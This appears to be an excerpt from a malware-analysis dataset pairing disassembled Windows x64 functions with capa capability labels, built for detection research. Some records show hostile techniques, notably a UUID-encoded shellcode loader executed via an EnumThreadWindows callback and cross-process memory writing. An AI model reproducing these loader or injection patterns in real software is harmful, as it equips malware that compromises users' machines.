joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
sub rsp, 0x48
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x100000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140001034
mov eax, 0xffffffff
jmp 0x1400010c6
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x24], 0x43ee
mov dword [rsp + 0x20], 0
jmp 0x14000105a
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jge 0x1400010b4
movsxd rax, dword [rsp + 0x20]
lea rcx, str.043e5be8_2f00_90fa_81c1_1f1096f63f7e
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.RPCRT4.dll_UuidFromStringA]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400010a4
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xffffffff
jmp 0x1400010c6
mov rax, qword [rsp + 0x38]
add rax, 0x10
mov qword [rsp + 0x38], rax
jmp 0x140001050
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumThreadWindows]
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400017f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001842
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001842
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001842
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001842
cmp dword [rcx + 0x84], 0xe
jbe 0x140001842
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001844
xor al, al
add rsp, 0x28
ret

Function at 0x140005f7c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005d78
Function at 0x14000b140
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fdd8]
test rcx, rcx
je 0x14000b17b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b16e
mov rcx, qword [0x14002fdd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fde8], 0
je 0x14000b26e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029970]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140030610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b24f
test al, 0x10
je 0x14000b24f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b1f5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x140001768
Capabilities:
Read file via mapping
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push r14
push r15
sub rsp, 0x50
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [0x14000300c]
mov ebx, dword [0x140003008]
mov r8d, dword [0x140003004]
mov r14d, dword [section..data]
xor r15d, r15d
mov qword [0x140003010], rax
mov dword [rsp + 0x30], 0x4d0046
mov word [rsp + 0x44], r15w
lea r9, [rsp + 0x34]
lea r10d, [r15 + 8]
mov edx, r8d
shr edx, 0x1c
and dl, 0xf
movzx ecx, dl
lea eax, [rcx + 0x30]
add cx, 0x57
cmp dl, 0x39
cmovbe cx, ax
shl r8d, 4
mov word [r9], cx
lea r9, [r9 + 2]
dec r10
jne 0x1400017bc
lea rax, [rsp + 0x30]
lea r8d, [r10 + 2]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x1400018b7
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
je 0x1400018ae
mov ecx, dword [rax]
lea r9, [rsp + 0x78]
add rcx, rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
call fcn.140001264
cmp qword [rsp + 0x78], r15
je 0x1400018a5
cmp dword [rsp + 0x70], r15d
je 0x1400018a5
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001891
mov rdx, qword [rsp + 0x78]
mov r9, rbx
mov rcx, rax
mov dword [rsp + 0x20], r14d
call fcn.140001494
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x140003010]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x50]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rsi
ret

Function at 0x140001000
Capabilities:
Power down monitor

Disassembly:
sub rsp, 0x28
mov edx, 0x112
mov r9d, 2
mov r8d, 0xf170
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageW]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret
Function at 0x14002943c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cb04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cb04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002958c
cmp rax, 0xffffffffffffffff
je 0x14002958c
xor edi, edi
test rbp, rbp
jle 0x140029537
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f430
mov rbx, rax
test rax, rax
jne 0x1400294c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002952d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a438
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d7e0
cmp eax, 0xffffffff
je 0x14002950d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400294d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a438
jmp 0x14002952d
cmp byte [rsi + 0x38], dil
je 0x140029524
cmp dword [rsi + 0x34], 5
jne 0x140029524
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002952d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b1cc
jmp 0x1400295a0
jns 0x1400295a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cb04
cmp rax, 0xffffffffffffffff
jne 0x140029558
cmp byte [rsi + 0x30], dil
je 0x1400295a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400295a0
mov ecx, r14d
call fcn.1400188f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400295a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400295a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029599
mov eax, dword [rsi + 0x2c]
jmp 0x14002959e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cb04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14046e82b
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp], 0xffffffffe9ba5985
lea r11, [0x14047dfc0]
lea rsp, [rsp + 8]
movzx eax, byte [rdx]
push 0x7922bf22
xor eax, ecx
and eax, 0xff
mov eax, dword [r11 + rax*4]
shr ecx, 8
xor ecx, eax
sal qword [rsp], 0xb
inc rdx
dec qword [rsp]
xor ecx, 0x61215cb7
dec rbp
lea rsp, [rsp + 8]
jne 0x14046e83f
Function at 0x140005300
Capabilities:
Delete directory
Delete file

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, edx
mov ebp, edx
mov rsi, rcx
mov ebx, edx
mov rcx, qword [rcx]
mov rdi, r8
and r12d, 0x10
and ebp, 1
jne 0x140005350
test r12d, r12d
je 0x140005348
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edx, 1
test eax, eax
je 0x140005368
mov eax, edx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000532e
and edx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400053d8
mov rcx, qword [rsi]
jmp 0x140005323
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
cmp eax, 0x57
je 0x1400053a8
ja 0x1400053c0
lea eax, [rax - 2]
cmp eax, 0x13
ja 0x140005430
mov eax, 0x20800c
bt rax, r12
jb 0x1400053a8
test ebp, ebp
jne 0x1400053b0
lea r9, str.boost::filesystem::remove
mov r8, rdi
mov rdx, rsi
mov ecx, r12d
call fcn.140014c20
xor edx, edx
jmp 0x140005337
mov rcx, qword [rsi]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x140005393
cmp eax, 0x7b
je 0x1400053a8
cmp eax, 0xa1
jne 0x14000538f
xor edx, edx
jmp 0x140005337
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
cmp eax, 0x57
je 0x1400053a8
ja 0x140005418
lea eax, [rax - 2]
cmp eax, 0x13
ja 0x14000544b
mov eax, 0x20800c
bt rax, rcx
jb 0x1400053a8
mov rdx, rsi
lea r9, str.boost::filesystem::remove
mov r8, rdi
call fcn.140014c20
xor edx, edx
jmp 0x140005337
cmp eax, 0x7b
je 0x1400053a8
cmp eax, 0xa1
jne 0x1400053fa
xor edx, edx
jmp 0x140005337
cmp r12d, 0x35
je 0x1400053a8
cmp r12d, 0x43
jne 0x14000538f
xor edx, edx
jmp 0x140005337
cmp ecx, 0x35
je 0x1400053a8
cmp ecx, 0x43
jne 0x1400053fa
xor edx, edx
jmp 0x140005337
Function at 0x140007030
Capabilities:
Create directory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rsi, rcx
mov rbx, r8
test r8, r8
je 0x140007059
mov dword [r8], 0
mov qword [r8 + 8], 0
mov qword [r8 + 0x10], 0
mov rcx, qword [rsi]
test rdx, rdx
je 0x1400070d8
mov rax, qword [rdx]
xor r8d, r8d
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
mov edx, 1
test eax, eax
je 0x140007090
mov eax, edx
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x30]
mov rdx, rsi
mov edi, eax
call fcn.140005de0
cmp dword [rsp + 0x28], 3
je 0x1400070c5
lea r9, str.boost::filesystem::create_directory
mov r8, rbx
mov rdx, rsi
mov ecx, edi
call fcn.140014c20
xor edx, edx
mov eax, edx
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x140007073
xor r8d, r8d
xor edx, edx
jmp 0x140007030

Function at 0x140007380
Capabilities:
Get common file path

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov r12, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, 1
mov rbx, rcx
mov rbp, rdx
xor ecx, ecx
xor edx, edx
call r12
test eax, eax
cmovne edi, eax
mov ecx, edi
add rcx, rcx
call fcn.1403cd480
mov ecx, edi
mov rsi, rax
mov rdx, rax
call r12
test eax, eax
je 0x140007458
lea rax, [rbx + 0x10]
test rbp, rbp
je 0x14000747b
mov dword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbx], rax
mov rcx, rsi
call sub.msvcrt.dll_wcslen
lea rdi, [rax + rax]
mov rbp, rdi
sar rbp, 1
mov qword [rsp + 0x28], rbp
cmp rdi, 0xe
ja 0x140007490
mov rcx, qword [rbx]
mov rax, rbp
cmp rbp, 1
je 0x140007488
test rbp, rbp
jne 0x140007440
xor edx, edx
mov qword [rbx + 8], rax
mov word [rcx + rax*2], dx
mov rcx, rsi
call fcn.1403cd450
mov rax, rbx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x28]
mov rcx, qword [rbx]
jmp 0x14000741e
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400073c5
lea r8, str.boost::filesystem::current_path
mov rdx, rbp
mov ecx, eax
call fcn.140014a30
lea rax, [rbx + 0x10]
mov qword [rbx], rax
jmp 0x1400073ec
movzx edx, word [rsi]
mov word [rcx], dx
jmp 0x14000741e
lea rdx, [rsp + 0x28]
xor r8d, r8d
mov rcx, rbx
call fcn.140399a10
mov qword [rbx], rax
mov rcx, rax
mov rax, qword [rsp + 0x28]
mov qword [rbx + 0x10], rax
jmp 0x140007413
Function at 0x14000acc0
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rcx
mov rbx, rdx
test rdx, rdx
je 0x14000ace9
mov dword [rdx], 0
mov qword [rdx + 8], 0
mov qword [rdx + 0x10], 0
mov edi, dword [0x1405a4104]
mov rcx, qword [rbp]
test edi, edi
je 0x14000ad60
mov dword [rsp + 0x28], 0x2200000
xor r9d, r9d
mov r8d, 7
mov edx, 0x10180
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000ad88
mov edx, edi
mov rcx, rax
call fcn.140005050
test eax, eax
jne 0x14000adf0
mov ebx, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edx, eax
cmp eax, 0xffffffff
je 0x14000ae38
mov r8, rbx
mov rcx, rbp
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.140005300
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x14000adb2
ja 0x14000adc0
lea edx, [rax - 2]
cmp edx, 0x13
ja 0x14000ada8
mov edx, 0x20800c
bt rdx, rax
jb 0x14000adb2
cmp eax, 0x43
je 0x14000adb2
cmp eax, 0x35
jne 0x14000adcc
xor ebx, ebx
jmp 0x14000ad4d
cmp eax, 0x7b
je 0x14000adb2
cmp eax, 0xa1
je 0x14000adb2
lea r9, str.boost::filesystem::remove
mov r8, rbx
mov rdx, rbp
mov ecx, eax
call fcn.140014c20
cmp rsi, 0xffffffffffffffff
je 0x14000adb2
xor ebx, ebx
jmp 0x14000ad44
cmp eax, 0x57
je 0x14000ade6
ja 0x14000ae20
lea edx, [rax - 2]
cmp edx, 0x13
ja 0x14000ae0a
mov edx, 0x20800c
bt rdx, rax
jb 0x14000ade6
cmp eax, 0x43
je 0x14000ade6
cmp eax, 0x35
jne 0x14000adcc
xor ebx, ebx
jmp 0x14000ad44
cmp eax, 0x7b
je 0x14000ade6
cmp eax, 0xa1
jne 0x14000ae0a
xor ebx, ebx
jmp 0x14000ad44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
cmp eax, 0x57
je 0x14000adb2
ja 0x14000ae7b
lea eax, [rax - 2]
cmp eax, 0x13
ja 0x14000ae98
mov eax, 0x20800c
bt rax, rcx
jb 0x14000adb2
mov r8, rbx
lea r9, str.boost::filesystem::remove
mov rdx, rbp
xor ebx, ebx
call fcn.140014c20
jmp 0x14000ad4d
cmp eax, 0x7b
je 0x14000adb2
cmp eax, 0xa1
jne 0x14000ae62
xor ebx, ebx
jmp 0x14000ad4d
cmp ecx, 0x35
je 0x14000adb2
cmp ecx, 0x43
jne 0x14000ae62
xor ebx, ebx
jmp 0x14000ad4d
Function at 0x140035c70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [rcx + 0x38]
mov rbx, rcx
mov esi, edx
test eax, eax
je 0x140035e4b
cmp edx, 0xfffffffe
jne 0x140035cda
mov rax, qword [rcx + 0x100]
test dword [rax + 0x54], 0x30000
je 0x140035cd8
mov rax, qword [rcx + 0x80]
mov rax, qword [rax + 0x3a0]
mov eax, dword [rax + 0x10]
cmp eax, 0x300c02b
je 0x140035e40
mov r10d, 0x2cb
cmp eax, 0x300c02c
je 0x140035cc8
xor r10d, r10d
mov eax, r10d
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
xor esi, esi
mov edx, dword [rbx + 0x19c]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x28]
mov rcx, rbx
shr edx, 0x16
and edx, 1
call fcn.1400348d0
test eax, eax
je 0x140035cc5
mov edx, dword [rbx + 0x19c]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x20]
mov rcx, rbx
shr edx, 0x16
xor edx, 1
and edx, 1
call fcn.1400348d0
test eax, eax
je 0x140035cc5
mov r8, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
test r8, r8
jne 0x140035dc0
test byte [rbx + 0x19e], 0x40
jne 0x140035dfc
test rdi, rdi
je 0x140035e21
mov r9, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
xor r10d, r10d
xor r11d, r11d
nop word [rax + rax]
test r8, r8
je 0x140035da0
movzx ecx, byte [r9]
xor eax, eax
jmp 0x140035d79
add rax, 1
cmp rax, r8
je 0x140035da0
cmp cl, byte [rdx + rax*2]
jne 0x140035d70
movzx ebx, byte [rdx + rax*2 + 1]
cmp byte [r9 + 1], bl
jne 0x140035d70
cmp esi, r10d
je 0x140035dd3
add rax, 1
add r10d, 1
cmp rax, r8
jne 0x140035d79
nop dword [rax + rax]
add r9, 2
add r11, 1
mov qword [rsp + 0x20], r9
cmp r11, rdi
jb 0x140035d60
cmp esi, 0xffffffff
jne 0x140035cc5
jmp 0x140035cc8
test rdi, rdi
jne 0x140035d4a
test byte [rbx + 0x19e], 0x40
je 0x140035e21
xor r10d, r10d
jmp 0x140035db2
movzx eax, word [r9]
rol ax, 8
movzx eax, ax
sub eax, 1
cmp eax, 0x1b
ja 0x140035cc5
cdqe
lea rdx, [0x140467b40]
mov r10d, dword [rdx + rax*4]
jmp 0x140035cc8
mov qword [rsp + 0x38], 0xe
lea rax, [0x140467b00]
mov qword [rsp + 0x28], rax
test rdi, rdi
je 0x140035dce
mov r8d, 0xe
jmp 0x140035d4a
lea r9, [0x140467b00]
mov edi, 0xe
mov qword [rsp + 0x30], 0xe
mov qword [rsp + 0x20], r9
jmp 0x140035d4f
mov r10d, 0x19f
jmp 0x140035cc8
mov r10d, 0xffffffff
jmp 0x140035cc8
Function at 0x140062bf0
Capabilities:
Encode data using xor

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 8]
mov rax, qword [rax + 0xc8]
mov rsi, rdx
mov rbp, rcx
mov edx, dword [rdx + 4]
lea edi, [r9 + 1]
test byte [rax + 0x70], 1
je 0x140062cd0
lea ecx, [rdi + r8]
xor eax, eax
cmp ecx, edx
ja 0x140062cc0
mov eax, r8d
movdqu xmm1, xmmword [rsi + 0x10]
mov rcx, qword [rsi + 0x10]
sub edx, r8d
movq xmm0, rax
mov dword [rsi + 4], edx
punpcklqdq xmm0, xmm0
add rcx, rax
paddq xmm0, xmm1
movups xmmword [rsi + 0x10], xmm0
jmp 0x140062cda
mov r11d, 0xff
mov r10, qword [rsi + 0x10]
nop word [rax + rax]
mov edx, ebx
mov ecx, ebx
sub edx, eax
xor ecx, eax
xor edx, eax
or edx, ecx
mov ecx, r9d
sub ecx, eax
xor edx, ebx
add eax, 1
movzx ecx, byte [r10 + rcx]
sar edx, 0x1f
xor ecx, ebx
not ecx
or edx, ecx
and r8d, edx
cmp r11d, eax
ja 0x140062c68
mov edx, r8d
not edx
movzx eax, dl
or r8d, 0xffffff00
add ebx, 1
sub eax, 1
and eax, r8d
sar eax, 0x1f
and ebx, eax
and eax, 0xfffffffe
sub edi, ebx
shl ebx, 8
or dword [rsi], ebx
not eax
mov dword [rsi + 4], edi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor eax, eax
cmp edi, edx
ja 0x140062cc0
mov rcx, qword [rsi + 0x10]
lea eax, [rdx - 1]
movzx ebx, byte [rcx + rax]
mov r12d, ebx
test byte [rbp + 0x19d], 2
je 0x140062cf7
cmp qword [rbp + 0xe0], 0
je 0x140062d68
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rax]
call fcn.1400c5a70
and eax, 0x200000
jne 0x140062d50
lea r9d, [rbx + rdi]
mov edi, dword [rsi + 4]
mov edx, edi
sub edx, r9d
xor edx, r9d
xor r9d, edi
or edx, r9d
lea r9d, [rdi - 1]
xor edx, edi
sar edx, 0x1f
mov r8d, edx
not r8d
cmp r9d, 0xfe
ja 0x140062c58
mov r11d, r9d
test r9d, r9d
jne 0x140062c5e
jmp 0x140062c99
not ebx
add dword [rsi + 4], ebx
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp + 0x80]
mov r8d, 8
lea rdx, [0x14046eb80]
lea rcx, [rax + 8]
call fcn.14006cd10
test eax, eax
je 0x140062da8
mov rax, qword [rbp + 0x80]
mov eax, dword [rax]
and eax, 8
test eax, eax
je 0x140062cf7
cmp ebx, 1
adc ebx, 0xffffffff
jmp 0x140062cf7
mov rdx, qword [rbp + 0x80]
and r12d, 1
mov eax, dword [rdx]
je 0x140062dbc
and eax, 8
jmp 0x140062d95
or eax, 8
mov dword [rdx], eax
jmp 0x140062d9d
Function at 0x140062dd0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov ebp, dword [rdx + 4]
mov r12d, ebp
mov rdi, rcx
mov r13, rdx
mov esi, r8d
mov r15d, r9d
sub r12d, r8d
cmp r8d, r9d
ja 0x140062f40
cmp esi, 0x40
ja 0x140062f61
lea rax, [rsp + 0x20]
lea r14d, [r15 - 0x100]
mov r8d, 0
mov r10, rax
sub r14d, esi
neg r10
and r10d, 0x3f
add r10, rax
lea eax, [rsi + 0x100]
cmp eax, r15d
mov eax, esi
mov rcx, r10
cmovae r14d, r8d
shr eax, 1
xor edx, edx
mov r8d, esi
shl eax, 0x18
add eax, r12d
sub eax, r14d
div esi
mov ebx, edx
xor edx, edx
call sub.msvcrt.dll_memset
mov r10, rax
cmp r14d, r15d
jae 0x140062edd
mov edx, r14d
mov r9d, r15d
mov r8d, r14d
xor eax, eax
sub edx, ebp
add r8, qword [r13 + 0x10]
sub r9d, ebp
nop dword [rax]
lea r13d, [rbp + rdx]
lea r11d, [rsi + rdx]
mov r14d, r12d
mov r15d, ebp
xor r14d, r13d
xor r11d, r12d
xor r15d, edx
add edx, 1
or r11d, r14d
mov r14d, ebp
lea ecx, [rax + 1]
add r8, 1
xor r14d, r13d
xor r11d, r13d
or r14d, r15d
sar r11d, 0x1f
xor r13d, r14d
not r11d
and r11b, byte [r8 - 1]
sar r13d, 0x1f
and r13d, r11d
or byte [r10 + rax], r13b
mov eax, ecx
mov r11d, esi
sub eax, esi
xor r11d, ecx
xor eax, esi
or eax, r11d
xor eax, ecx
sar eax, 0x1f
and eax, ecx
cmp r9d, edx
jne 0x140062e78
lea eax, [rsi - 1]
lea rcx, [rdi + rax + 1]
test esi, esi
je 0x140062f22
nop dword [rax]
mov eax, ebx
lea edx, [rbx + 1]
add rdi, 1
xor eax, 0x20
add rax, r10
movzx eax, byte [rax]
movzx eax, byte [r10 + rbx]
mov ebx, edx
sub ebx, esi
mov byte [rdi - 1], al
mov eax, esi
xor ebx, esi
xor eax, edx
or ebx, eax
xor ebx, edx
sar ebx, 0x1f
and ebx, edx
cmp rdi, rcx
jne 0x140062ef0
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.orig_len___md_size
mov edx, 0xf8
lea rcx, str.s3_cbc.c
call fcn.14006caf0
cmp esi, 0x40
jbe 0x140062e0a
lea r8, str.md_size___EVP_MAX_MD_SIZE
mov edx, 0xf9
lea rcx, str.s3_cbc.c
call fcn.14006caf0
jmp 0x140062e0a